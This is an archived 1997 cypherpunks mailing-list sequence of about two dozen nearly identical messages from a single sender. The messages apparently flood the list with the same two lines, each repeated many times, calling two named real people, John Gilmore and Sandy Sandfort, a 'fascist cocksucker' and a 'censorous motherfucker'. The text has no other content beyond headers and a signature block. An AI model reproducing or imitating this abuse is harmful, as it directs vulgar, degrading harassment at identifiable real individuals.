John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:57:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771066.522385.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:42:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771132.522932.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:01:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771019.521961.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:25:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770992.521749.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771085.522526.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:02:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771038.522154.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:42:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771119.522824.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771009.521872.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771151.523108.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:46:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771103.522694.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771035.522141.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771114.522804.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771092.522580.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771054.522272.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771041.522184.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771087.522545.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771039.522161.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771138.522983.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771049.522251.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771171.523294.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771024.522006.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771141.523013.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771062.522339.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771032.522103.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771073.522431.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:07:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770933.521248.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
